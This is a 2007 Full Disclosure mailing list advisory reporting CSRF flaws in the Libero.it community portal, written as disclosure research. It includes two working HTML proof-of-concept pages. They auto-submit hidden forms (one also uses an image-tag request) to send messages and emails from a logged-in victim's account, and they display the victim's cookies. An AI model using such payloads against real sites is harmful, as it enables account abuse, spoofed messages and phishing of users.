Full Disclosure mailing list archives

Severe CSRF vulnerabilities allow mail/msg spoofing in Libero.it portal

From: "Rosario Valotta" <rosario.valotta () gmail com>
Date: Mon, 2 Apr 2007 02:31:45 +0200

<--start-->

Other severe vulnerabilities are present on Libero.it (italian ISP)
portal, always  in the Community section.

The portal allows users to create personal web pages with unchecked contents.
These pages will be hosted under digilander.libero.it domain, so that
is possible for an attacker to read and manipulate visitors cookie
(with obvious risks for privacy & phishing opportunities...). This is
a conceptual mistake...

But this is just the beginning: an attacker can use his Libero
personal site to conduct CSRF attacks against Community users; merely
opening the malicious pages can result in:

1-attaccker can send msgs to other community users from victim's account

<HTML>
<BODY>
Ciao!
<form method="POST" id="evil" name="evil"
action="http://digiland.libero.it/msg/inviamsg.php";>
        <input type="hidden" name="destinatario" value="testxss">
        <input type="hidden" name="riferimento" value="NULL">
        <input type="hidden" name="med" value="msg">
        <input type="hidden" name="rispondi" value="">
                     <input type="hidden" name="quale" value="">
                     <input type="hidden" name="firma" value="0">
                     <input type="hidden" name="messaggio" value="CSRFmsg">
                     <input type="hidden" name="paperv" value="0">
 </form>
<SCRIPT>
        alert(document.cookie);
                        document.evil.submit();

</SCRIPT>
</BODY>
</HTML>

2- attacker can send e-mails to other community users using victim's account

<HTML>
<BODY>
Ciao!
<img 
src="http://digiland.libero.it/msg/inviamsg.php?destinatario=testxss&riferimento=NULL&med=msg&rispondi=&quale=&firma=0&messaggio=CSRFmsg&paperv=0";>
  <form method="POST" id="evil" name="evil"
action="http://digiland.libero.it/inviamail.php";>
        <input type="hidden" name="nick" value="testxss">
        <input type="hidden" name="proviene" value="1">
        <input type="hidden" name="oggetto" value="CSRFmail">
        <input type="hidden" name="corpo" value="Who sent this mail?">
 </form>
<SCRIPT>
        alert(document.cookie);
                        document.evil.submit();

</SCRIPT>
</BODY>
</HTML>

In both cases neither Referrer nor unique tokens are used to prevent CSRF.

POC (until not deleted) can be found at :

http://digilander.libero.it/testxss/demo/img.htm
http://digilander.libero.it/testxss/demo/img2.htm

both require you're logged in libero Community.

Greetings,
Rosario Valotta

rosario.valotta at gmail dot com

<---end-->

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

Severe CSRF vulnerabilities allow mail/msg spoofing in Libero.it portal Rosario Valotta (Apr 01)